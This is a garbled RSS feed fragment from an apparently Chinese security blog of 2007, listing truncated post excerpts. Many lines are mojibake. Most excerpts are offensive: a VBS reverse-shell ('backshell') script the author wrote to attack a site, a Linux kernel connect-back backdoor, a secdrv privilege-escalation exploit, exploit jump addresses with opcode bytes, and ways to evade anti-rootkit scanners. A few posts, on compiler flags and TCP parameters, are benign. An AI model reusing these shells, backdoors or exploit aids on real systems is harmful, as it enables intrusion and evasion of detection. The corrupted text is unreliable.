<br>&nbsp;&nbsp;<a href='http://www.aygfsteel.com/baicker/archive/2007/12/27/171009.html'>阅读全文</a><img src ="http://www.aygfsteel.com/baicker/aggbug/171009.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/baicker/" target="_blank">009</a> 2007-12-27 22:12 <a href="http://www.aygfsteel.com/baicker/archive/2007/12/27/171009.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>让EXE导出函数(ZT)</title><link>http://www.aygfsteel.com/baicker/archive/2007/12/27/171007.html</link><dc:creator>009</dc:creator><author>009</author><pubDate>Thu, 27 Dec 2007 14:11:00 GMT</pubDate><guid>http://www.aygfsteel.com/baicker/archive/2007/12/27/171007.html</guid><wfw:comment>http://www.aygfsteel.com/baicker/comments/171007.html</wfw:comment><comments>http://www.aygfsteel.com/baicker/archive/2007/12/27/171007.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/baicker/comments/commentRss/171007.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/baicker/services/trackbacks/171007.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 偶然发现OllyDBG.exe导出�?ji��n)一堆函敎ͼ��q�些函数都是供其插�g调用的。对�q�种体系�l�构很感
<br>兴趣�Q�想弄清楚它的实现原理。后来又看到梁肇新的书《编�E�高手箴�a�》第278��|��到的调用
<br>门，觉得都应该差不多�?<br>
<br>
<br>三种不同的解军_��法（原理可能是一��L(f��ng)���Q?)�Q�：(x��)
<br>
<br>1�Q�在导出函数声明之前加上__declspec(dllexport)。例�Q?<br>__declspec(dllexport) int Add(int a, int b);
<br>__declspec(dllexport) int Sub(int a, int b);
<br>__declspec(dllexport) int Mul(int a, int b);
<br>__declspec(dllexport) int Div(int a, int b);
<br>..........
<br>&nbsp;&nbsp;<a href='http://www.aygfsteel.com/baicker/archive/2007/12/27/171007.html'>阅读全文</a><img src ="http://www.aygfsteel.com/baicker/aggbug/171007.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/baicker/" target="_blank">009</a> 2007-12-27 22:11 <a href="http://www.aygfsteel.com/baicker/archive/2007/12/27/171007.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>icesword 驱动部分分析(ZT)</title><link>http://www.aygfsteel.com/baicker/archive/2007/12/27/171004.html</link><dc:creator>009</dc:creator><author>009</author><pubDate>Thu, 27 Dec 2007 14:01:00 GMT</pubDate><guid>http://www.aygfsteel.com/baicker/archive/2007/12/27/171004.html</guid><wfw:comment>http://www.aygfsteel.com/baicker/comments/171004.html</wfw:comment><comments>http://www.aygfsteel.com/baicker/archive/2007/12/27/171004.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/baicker/comments/commentRss/171004.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/baicker/services/trackbacks/171004.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: icesword.exe 在执行的时候会(x��)攑և�一个驱动程�?ispubdrv.sys .
<br>icesword.exe 装蝲 �q�个驱动�Q�这个驱动安装后��׃���?x��)卸载。直到系�l�重新启动。这可能是因为驱动中调用�?<br>PsSetCreateThreadNotifyRoutine 函数.下面是这个函数在 ddk 中的介绍�?<br>........
<br>&nbsp;&nbsp;<a href='http://www.aygfsteel.com/baicker/archive/2007/12/27/171004.html'>阅读全文</a><img src ="http://www.aygfsteel.com/baicker/aggbug/171004.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/baicker/" target="_blank">009</a> 2007-12-27 22:01 <a href="http://www.aygfsteel.com/baicker/archive/2007/12/27/171004.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>利用伪造内核文件来�l�过IceSword的检��?ZT)</title><link>http://www.aygfsteel.com/baicker/archive/2007/12/27/171002.html</link><dc:creator>009</dc:creator><author>009</author><pubDate>Thu, 27 Dec 2007 13:58:00 GMT</pubDate><guid>http://www.aygfsteel.com/baicker/archive/2007/12/27/171002.html</guid><wfw:comment>http://www.aygfsteel.com/baicker/comments/171002.html</wfw:comment><comments>http://www.aygfsteel.com/baicker/archive/2007/12/27/171002.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/baicker/comments/commentRss/171002.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/baicker/services/trackbacks/171002.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 一、�ؓ(f��)什么需要伪造内核：(x��)
<br>
<br>    IceSword�Q�以下简�U�IS�Q��ؓ(f��)�?ji��n)防止一些关键系�l�函敎ͼ�包括所有服务中断表中的函数以及(qi��ng)IS驱动部分要��用到的一些关键函敎ͼ�(j��)�?patch�Q�它直接��d��内核文�g�Q�以下简�U�“ntoskrnl.exe”）(j��)�Q�然后自己分析ntoskrnl.exe 的PE�l�构来获取关键系�l�函数的原始代码�q�且把当前内�怸�所有的关键�pȝ��函数�q�原为windows默认状态，�q�样保证�?ji��n)IS使用到的函数不被patch �q�。也�怽��?x��)想如果我们把还原后的函数再�q�行patch不还是能�w�的�q�去吗？�W�者也试过
<br>.....................
<br>&nbsp;&nbsp;<a href='http://www.aygfsteel.com/baicker/archive/2007/12/27/171002.html'>阅读全文</a><img src ="http://www.aygfsteel.com/baicker/aggbug/171002.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/baicker/" target="_blank">009</a> 2007-12-27 21:58 <a href="http://www.aygfsteel.com/baicker/archive/2007/12/27/171002.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>WIN下获取kernel基址的shellcode探讨(ZT)</title><link>http://www.aygfsteel.com/baicker/archive/2007/12/27/170998.html</link><dc:creator>009</dc:creator><author>009</author><pubDate>Thu, 27 Dec 2007 13:43:00 GMT</pubDate><guid>http://www.aygfsteel.com/baicker/archive/2007/12/27/170998.html</guid><wfw:comment>http://www.aygfsteel.com/baicker/comments/170998.html</wfw:comment><comments>http://www.aygfsteel.com/baicker/archive/2007/12/27/170998.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/baicker/comments/commentRss/170998.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/baicker/services/trackbacks/170998.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: [�l�典溢出��d�����程]
<br>——————————�?<br>1. 查找Kernel32.dll基地址�Q?<br>2. 查找GetProcAddress()函数地址�Q?<br>3. 查找其它API函数地址�Q?<br>4. CreateProcess()�Q?<br>5. �q�程�q�接�?<br>
<br>我们都知道WINDOWS的系�l�功能不像UNIX的系�l�调用那样实玎ͼ��׃��WINDOWS版本的不断更斎ͼ�使得�pȝ��调用对SHELLCODE几乎起不��C��用�?<br>但是WINDOWS是靠DLL动态链接库来实玎ͼ��q�就是说�Q�如果能从KERNEL32.DLL中获取LoadLibrary()和GetProcAddress()函数的地址�Q�我们就可以调用WINDOWS下的所有函��C��(ji��n)�?<br>所以我们需要对KERNEL32.DLL�q�行地址定位�Q�这也是本文的目的�?<br>................
<br>&nbsp;&nbsp;<a href='http://www.aygfsteel.com/baicker/archive/2007/12/27/170998.html'>阅读全文</a><img src ="http://www.aygfsteel.com/baicker/aggbug/170998.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/baicker/" target="_blank">009</a> 2007-12-27 21:43 <a href="http://www.aygfsteel.com/baicker/archive/2007/12/27/170998.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SEH源码赏析之C��?ZT)</title><link>http://www.aygfsteel.com/baicker/archive/2007/12/27/170994.html</link><dc:creator>009</dc:creator><author>009</author><pubDate>Thu, 27 Dec 2007 13:36:00 GMT</pubDate><guid>http://www.aygfsteel.com/baicker/archive/2007/12/27/170994.html</guid><wfw:comment>http://www.aygfsteel.com/baicker/comments/170994.html</wfw:comment><comments>http://www.aygfsteel.com/baicker/archive/2007/12/27/170994.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/baicker/comments/commentRss/170994.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/baicker/services/trackbacks/170994.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 1.起因
<br>    C++�E�序员对try,catch,throw都应该很熟�?zh��n)?能知道VC怎么实现它的人就不多�?不过�|�络世界使很多�h知道�?ji��n)它与SEH (structured exception      handling�Q�有密切关系,我也不例�?也是在若�q�年前从�|�络知道�?ji��n)SEH,�q�且大致也知道SEH的流�E?但是和多��C�h一样在我的实践也很���直接���?SEH,对SEH也就仅限于网�l�上一些文章的介绍.曄���在用Windbg�Ҏ(gu��)��些��Y件作分析,我遇��C��(ji��n)断点失效的情�?查找资料介绍是SEH中的 Handler清除�?ji��n)调试寄存�?在分�?....................
<br>&nbsp;&nbsp;<a href='http://www.aygfsteel.com/baicker/archive/2007/12/27/170994.html'>阅读全文</a><img src ="http://www.aygfsteel.com/baicker/aggbug/170994.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/baicker/" target="_blank">009</a> 2007-12-27 21:36 <a href="http://www.aygfsteel.com/baicker/archive/2007/12/27/170994.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>饶过��C��Anti-Rookit工具的内核模块扫�?ZT)</title><link>http://www.aygfsteel.com/baicker/archive/2007/12/27/170993.html</link><dc:creator>009</dc:creator><author>009</author><pubDate>Thu, 27 Dec 2007 13:32:00 GMT</pubDate><guid>http://www.aygfsteel.com/baicker/archive/2007/12/27/170993.html</guid><wfw:comment>http://www.aygfsteel.com/baicker/comments/170993.html</wfw:comment><comments>http://www.aygfsteel.com/baicker/archive/2007/12/27/170993.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/baicker/comments/commentRss/170993.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/baicker/services/trackbacks/170993.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 本文描述�?ji��n)一些方法，可以饶过目前��L��的现代Anti-rootkit工具�Q�包括但不限�?
<br>Icesword 最新版
<br>Gmer最新版
<br>Rootkit unhooker 最新版
<br>DarkSpy 最新版
<br>AVG Anti-rootkit最新版
<br>�{�等
<br>................
<br>&nbsp;&nbsp;<a href='http://www.aygfsteel.com/baicker/archive/2007/12/27/170993.html'>阅读全文</a><img src ="http://www.aygfsteel.com/baicker/aggbug/170993.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/baicker/" target="_blank">009</a> 2007-12-27 21:32 <a href="http://www.aygfsteel.com/baicker/archive/2007/12/27/170993.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>TCP版backshell的VBS脚本</title><link>http://www.aygfsteel.com/baicker/archive/2007/12/22/169590.html</link><dc:creator>009</dc:creator><author>009</author><pubDate>Sat, 22 Dec 2007 08:19:00 GMT</pubDate><guid>http://www.aygfsteel.com/baicker/archive/2007/12/22/169590.html</guid><wfw:comment>http://www.aygfsteel.com/baicker/comments/169590.html</wfw:comment><comments>http://www.aygfsteel.com/baicker/archive/2007/12/22/169590.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/baicker/comments/commentRss/169590.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/baicker/services/trackbacks/169590.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: '搞一个特�D�的站准备用的，没想刎ͼ��{�写完了(ji��n)�Q�洞补上�?ji��n)，郁�?<br>'by 009, baicker@hotmail.com
<br>'date:071221
<br>
<br>Dim  revdata
<br>set  sock=WScript.createobject( "MSWinsock.Winsock" ,  "WSEvent_" )
<br>set  sc=createobject( "WScript.Shell" )
<br>Set  fso =CreateObject( "Scripting.FileSystemObject" )
<br>sock.connect  "127.0.0.1" , 1234
<br>................
<br>
<br>&nbsp;&nbsp;<a href='http://www.aygfsteel.com/baicker/archive/2007/12/22/169590.html'>阅读全文</a><img src ="http://www.aygfsteel.com/baicker/aggbug/169590.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/baicker/" target="_blank">009</a> 2007-12-22 16:19 <a href="http://www.aygfsteel.com/baicker/archive/2007/12/22/169590.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>在同一个进�E�空间运行两个程�?ZT)</title><link>http://www.aygfsteel.com/baicker/archive/2007/12/20/169026.html</link><dc:creator>009</dc:creator><author>009</author><pubDate>Thu, 20 Dec 2007 06:36:00 GMT</pubDate><guid>http://www.aygfsteel.com/baicker/archive/2007/12/20/169026.html</guid><wfw:comment>http://www.aygfsteel.com/baicker/comments/169026.html</wfw:comment><comments>http://www.aygfsteel.com/baicker/archive/2007/12/20/169026.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/baicker/comments/commentRss/169026.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/baicker/services/trackbacks/169026.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 
<br>　　众所周知�Q�bo2k可以在一个指定的�q�程�I�间(比如explorer.exe�q�程)做�ؓ(f��)一个线�E�运行。本文试图找��Z���U�方法，使得��L��exe都可以在其他�q�程中以�U�程�q�行(当然�Q�这里说�?��L��"是有条�g的，下面�?x��)讲�?�?<br>　　�����文简单�v见，我把先加载的exe�U�Cؓ(f��)宿主�Q�后加蝲的exe�U�Cؓ(f��)客户。对于上面的例子�Q�explorer.exe为宿主，bo2k.exe为客戗��?<br>基本知识
<br>　　每一个exe都有一个缺省加载基址�Q�一般都�?x400000。如果实际加载基址和缺省基址相同�Q�程序中的重定位表就不需要修�?fixup),否则�Q�就必须修正重定位表�Q?<br>
<br>&nbsp;&nbsp;<a href='http://www.aygfsteel.com/baicker/archive/2007/12/20/169026.html'>阅读全文</a><img src ="http://www.aygfsteel.com/baicker/aggbug/169026.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/baicker/" target="_blank">009</a> 2007-12-20 14:36 <a href="http://www.aygfsteel.com/baicker/archive/2007/12/20/169026.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Windows Local Privilege Escalation Vulnerability Exploit(secdrv) for winxp &amp; win2k3</title><link>http://www.aygfsteel.com/baicker/archive/2007/12/17/168265.html</link><dc:creator>009</dc:creator><author>009</author><pubDate>Mon, 17 Dec 2007 08:34:00 GMT</pubDate><guid>http://www.aygfsteel.com/baicker/archive/2007/12/17/168265.html</guid><wfw:comment>http://www.aygfsteel.com/baicker/comments/168265.html</wfw:comment><comments>http://www.aygfsteel.com/baicker/archive/2007/12/17/168265.html#Feedback</comments><slash:comments>5</slash:comments><wfw:commentRss>http://www.aygfsteel.com/baicker/comments/commentRss/168265.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/baicker/services/trackbacks/168265.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: secdrv local exp
<br>winxp cn sp2, win2k3 cn sp1 ���试通过
<br>
<br>之前的版本只能xp下用�Q�这�?k3也可以了(ji��n)�Q�其实前�D�|��间朋友给�q�我一个这个漏�z�的1day�Q�但是朋友的东西不能乱发�Q�这个是自己写的�Q�发出来大家恶心(j��)一下�?nbsp;&nbsp;<a href='http://www.aygfsteel.com/baicker/archive/2007/12/17/168265.html'>阅读全文</a><img src ="http://www.aygfsteel.com/baicker/aggbug/168265.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/baicker/" target="_blank">009</a> 2007-12-17 16:34 <a href="http://www.aygfsteel.com/baicker/archive/2007/12/17/168265.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>VC�~�译优化讄���</title><link>http://www.aygfsteel.com/baicker/archive/2007/11/16/160929.html</link><dc:creator>009</dc:creator><author>009</author><pubDate>Fri, 16 Nov 2007 02:20:00 GMT</pubDate><guid>http://www.aygfsteel.com/baicker/archive/2007/11/16/160929.html</guid><wfw:comment>http://www.aygfsteel.com/baicker/comments/160929.html</wfw:comment><comments>http://www.aygfsteel.com/baicker/archive/2007/11/16/160929.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/baicker/comments/commentRss/160929.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/baicker/services/trackbacks/160929.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: VC- Project Setting-Debug-Project Option语法解释
<br>
<br>-优化- 
<br>/O1 最���化�I�间 minimize space
<br>/Op[-] 改善���点��C��致�?improve floating-pt consistency
<br>/O2 最大化速度 maximize speed
<br>/Os  优选代码空�? favor code space
<br>/Oa 假设没有别名 assume no aliasing
<br>/Ot 优选代码速度 favor code speed
<br>/Ob 内联展开�Q�默�?n=0�Q?inline expansion (default n=0)
<br>/Ow  假设交叉函数别名  assume cross-function aliasing
<br>/Od  ���用优化�Q�默认��|��(j��)  disable optimizations (default)
<br>/Ox  最大化选项�?/Ogityb2 /Gs) maximum opts. (/Ogityb1 /Gs)
<br>/Og  启用全局优化  &nbsp;&nbsp;<a href='http://www.aygfsteel.com/baicker/archive/2007/11/16/160929.html'>阅读全文</a><img src ="http://www.aygfsteel.com/baicker/aggbug/160929.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/baicker/" target="_blank">009</a> 2007-11-16 10:20 <a href="http://www.aygfsteel.com/baicker/archive/2007/11/16/160929.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>�E�序多开�?/title><link>http://www.aygfsteel.com/baicker/archive/2007/11/07/158863.html</link><dc:creator>009</dc:creator><author>009</author><pubDate>Wed, 07 Nov 2007 08:54:00 GMT</pubDate><guid>http://www.aygfsteel.com/baicker/archive/2007/11/07/158863.html</guid><wfw:comment>http://www.aygfsteel.com/baicker/comments/158863.html</wfw:comment><comments>http://www.aygfsteel.com/baicker/archive/2007/11/07/158863.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/baicker/comments/commentRss/158863.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/baicker/services/trackbacks/158863.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 使用OD反汇�~�修改NateOn�Q�虽然很�ȝ��(ch��)�Q�最�l�还是搞定了(ji��n)�Q�后来发现网上有�D�代码，直接可以实现�E�序多开�Q�测试了(ji��n)MSN、NateOn没问题，代码如下�Q?<br>
<br>.386
<br>.model flat, stdcall
<br>option casemap :none
<br>
<br>include    windows.inc
<br>include    user32.inc
<br>include    kernel32.inc
<br>includelib  user32.lib
<br>includelib  kernel32.lib
<br>............
<br>
<br>&nbsp;&nbsp;<a href='http://www.aygfsteel.com/baicker/archive/2007/11/07/158863.html'>阅读全文</a><img src ="http://www.aygfsteel.com/baicker/aggbug/158863.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/baicker/" target="_blank">009</a> 2007-11-07 16:54 <a href="http://www.aygfsteel.com/baicker/archive/2007/11/07/158863.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>一个简单的Linux内核后门原型(ZT)</title><link>http://www.aygfsteel.com/baicker/archive/2007/10/25/155822.html</link><dc:creator>009</dc:creator><author>009</author><pubDate>Thu, 25 Oct 2007 04:20:00 GMT</pubDate><guid>http://www.aygfsteel.com/baicker/archive/2007/10/25/155822.html</guid><wfw:comment>http://www.aygfsteel.com/baicker/comments/155822.html</wfw:comment><comments>http://www.aygfsteel.com/baicker/archive/2007/10/25/155822.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/baicker/comments/commentRss/155822.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/baicker/services/trackbacks/155822.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: �q�是一个在内核模块中实现的反连后门�Q�大家看看这于应用层上的实现有什么不同吧�Q�呵�?<br>/*
<br>* Kernel mode connect backdoor,haha~
<br>*
<br>* just a demo module to teach you how to write a backdoor in kernel mode,
<br>* i belive you can add more code to make it strong and powerful,wulala.
<br>*
<br>* by wzt &lt;wzt#xsec.org&gt;
<br>*
<br>*/
<br>&nbsp;&nbsp;<a href='http://www.aygfsteel.com/baicker/archive/2007/10/25/155822.html'>阅读全文</a><img src ="http://www.aygfsteel.com/baicker/aggbug/155822.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/baicker/" target="_blank">009</a> 2007-10-25 12:20 <a href="http://www.aygfsteel.com/baicker/archive/2007/10/25/155822.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>VBS解决�l�端�H�口中特�D�快捷键问题</title><link>http://www.aygfsteel.com/baicker/archive/2007/10/15/153033.html</link><dc:creator>009</dc:creator><author>009</author><pubDate>Mon, 15 Oct 2007 09:27:00 GMT</pubDate><guid>http://www.aygfsteel.com/baicker/archive/2007/10/15/153033.html</guid><wfw:comment>http://www.aygfsteel.com/baicker/comments/153033.html</wfw:comment><comments>http://www.aygfsteel.com/baicker/archive/2007/10/15/153033.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/baicker/comments/commentRss/153033.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/baicker/services/trackbacks/153033.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 写程序麻�?ch��)，�q�要传上去，�q�好VBS每台服务器应该都可以�q�行的吧�Q�很���会(x��)又禁止的
<br>使用SendKeys搞定
<br>例如呼出Cain使用果如下脚本：(x��)�Q?<br>Set WshShell= Wscript.CreateObject("Wscript.Shell")
<br>Wscript.Sleep 1500
<br>WshShell.SendKeys "%{PGUP}"
<br>
<br>以下位SendKeys的相关��用方法等
<br>............
<br>
<br>&nbsp;&nbsp;<a href='http://www.aygfsteel.com/baicker/archive/2007/10/15/153033.html'>阅读全文</a><img src ="http://www.aygfsteel.com/baicker/aggbug/153033.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/baicker/" target="_blank">009</a> 2007-10-15 17:27 <a href="http://www.aygfsteel.com/baicker/archive/2007/10/15/153033.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>一些opcodes(ZT)</title><link>http://www.aygfsteel.com/baicker/archive/2007/10/11/152062.html</link><dc:creator>009</dc:creator><author>009</author><pubDate>Thu, 11 Oct 2007 07:49:00 GMT</pubDate><guid>http://www.aygfsteel.com/baicker/archive/2007/10/11/152062.html</guid><wfw:comment>http://www.aygfsteel.com/baicker/comments/152062.html</wfw:comment><comments>http://www.aygfsteel.com/baicker/archive/2007/10/11/152062.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/baicker/comments/commentRss/152062.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/baicker/services/trackbacks/152062.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 
<br>一些opcodes
<br>by axis
<br>2007-03-28
<br>
<br>�q�日在写exploit的时候需要用��C��些其他语�a�的call ebx的蟩转地址�Q�但是metasploit的opcode DB没有包括�J�体中文、日文、韩文机器的跌��{地址�Q�所以费�?ji��n)点旉���攉���了(ji��n)下�Q�在�q�里要感谢傲���提供的机器�l�我��L��地址。现在脓(chu��ng)到这里，方便大家�?<br>
<br>
<br>���体中文windows的通用跌��{地址�Q?2k/XP/2k3)
<br>0x7ffa45f3 jmp ecx \xff\xe1
<br>0x7ffa4967 jmp ebp \xff\xe5
<br>0x7ffa4a1b jmp ebx \xff\xe3
<br>..................
<br>&nbsp;&nbsp;<a href='http://www.aygfsteel.com/baicker/archive/2007/10/11/152062.html'>阅读全文</a><img src ="http://www.aygfsteel.com/baicker/aggbug/152062.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/baicker/" target="_blank">009</a> 2007-10-11 15:49 <a href="http://www.aygfsteel.com/baicker/archive/2007/10/11/152062.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>TCP 相关参数解释</title><link>http://www.aygfsteel.com/baicker/archive/2007/09/13/144765.html</link><dc:creator>009</dc:creator><author>009</author><pubDate>Thu, 13 Sep 2007 03:03:00 GMT</pubDate><guid>http://www.aygfsteel.com/baicker/archive/2007/09/13/144765.html</guid><wfw:comment>http://www.aygfsteel.com/baicker/comments/144765.html</wfw:comment><comments>http://www.aygfsteel.com/baicker/archive/2007/09/13/144765.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/baicker/comments/commentRss/144765.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/baicker/services/trackbacks/144765.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: cp_syn_retries �Q�INTEGER
<br>默认值是5
<br>对于一个新�����接，内核要发送多���个 SYN �q�接��h��才决定放弃。不应该大于255�Q�默认值是5�Q�对应于180�U�左��x��间�?对于大负载而物理通信良好的网�l�而言,�q�个值偏�?可修改�ؓ(f��)2.�q�个��g��仅是针对对外的连�?对进来的�q�接,是由tcp_retries1 军_���?
<br>
<br>tcp_synack_retries �Q�INTEGER
<br>默认值是5
<br>对于�q�端的连接请求SYN�Q�内�怼�(x��)发送SYN �Q?ACK数据报，以确认收��C��一�?SYN�q�接��h��包。这是所谓的三次握手( threeway handshake)机制的第二个步骤。这里决定内核在攑ּ��q�接之前所送出�?SYN+ACK 数目。不应该大于255�Q�默认值是5�Q�对应于180�U�左��x��间�?可以�Ҏ(gu��)��上面�?tcp_syn_retries 来决定这个�?
<br>
<br>tcp_keepalive_time �Q�INTEGER
<br>默认值是7200(2���时)
<br>当keepalive打开的情况下�Q�TCP发送keepalive消息的频率�?�׃��目前�|�络&nbsp;&nbsp;<a href='http://www.aygfsteel.com/baicker/archive/2007/09/13/144765.html'>阅读全文</a><img src ="http://www.aygfsteel.com/baicker/aggbug/144765.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/baicker/" target="_blank">009</a> 2007-09-13 11:03 <a href="http://www.aygfsteel.com/baicker/archive/2007/09/13/144765.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>                                                                                                              <footer>
<div class="friendship-link">
<a href="http://www.aygfsteel.com/" title="&#29408;&#29408;&#20037;&#20037;&#20122;&#27954;&#27431;&#32654;&#19987;&#21306;&#95;&#20013;&#25991;&#23383;&#24149;&#20122;&#27954;&#32508;&#21512;&#20037;&#20037;&#50;&#48;&#50;&#95;&#22269;&#20135;&#31934;&#21697;&#20122;&#27954;&#31532;&#20116;&#21306;&#22312;&#32447;&#95;&#26085;&#26412;&#20813;&#36153;&#32593;&#31449;&#35270;&#39057;">&#29408;&#29408;&#20037;&#20037;&#20122;&#27954;&#27431;&#32654;&#19987;&#21306;&#95;&#20013;&#25991;&#23383;&#24149;&#20122;&#27954;&#32508;&#21512;&#20037;&#20037;&#50;&#48;&#50;&#95;&#22269;&#20135;&#31934;&#21697;&#20122;&#27954;&#31532;&#20116;&#21306;&#22312;&#32447;&#95;&#26085;&#26412;&#20813;&#36153;&#32593;&#31449;&#35270;&#39057;</a>

</div>

</footer>


��վ֩���ģ�壺
<a href="http://" target="_blank">��������</a>|
<a href="http://" target="_blank">«Ϫ��</a>|
<a href="http://" target="_blank">�뵺��</a>|
<a href="http://" target="_blank">������</a>|
<a href="http://" target="_blank">������</a>|
<a href="http://" target="_blank">��ǫ��</a>|
<a href="http://" target="_blank">�Ͱ���</a>|
<a href="http://" target="_blank">̨����</a>|
<a href="http://" target="_blank">ͻȪ��</a>|
<a href="http://" target="_blank">������</a>|
<a href="http://" target="_blank">������</a>|
<a href="http://" target="_blank">��ұ��</a>|
<a href="http://" target="_blank">���״�������</a>|
<a href="http://" target="_blank">������</a>|
<a href="http://" target="_blank">�ϵ���</a>|
<a href="http://" target="_blank">¬����</a>|
<a href="http://" target="_blank">ƽ����</a>|
<a href="http://" target="_blank">�������</a>|
<a href="http://" target="_blank">�����</a>|
<a href="http://" target="_blank">������</a>|
<a href="http://" target="_blank">������</a>|
<a href="http://" target="_blank">������</a>|
<a href="http://" target="_blank">̩����</a>|
<a href="http://" target="_blank">�ȷ���</a>|
<a href="http://" target="_blank">��̨��</a>|
<a href="http://" target="_blank">���Ǹ���</a>|
<a href="http://" target="_blank">����</a>|
<a href="http://" target="_blank">������</a>|
<a href="http://" target="_blank">������</a>|
<a href="http://" target="_blank">�ĵ���</a>|
<a href="http://" target="_blank">��Զ��</a>|
<a href="http://" target="_blank">��ƽ��</a>|
<a href="http://" target="_blank">��ƽ��</a>|
<a href="http://" target="_blank">�˾���</a>|
<a href="http://" target="_blank">̩����</a>|
<a href="http://" target="_blank">������</a>|
<a href="http://" target="_blank">��Զ��</a>|
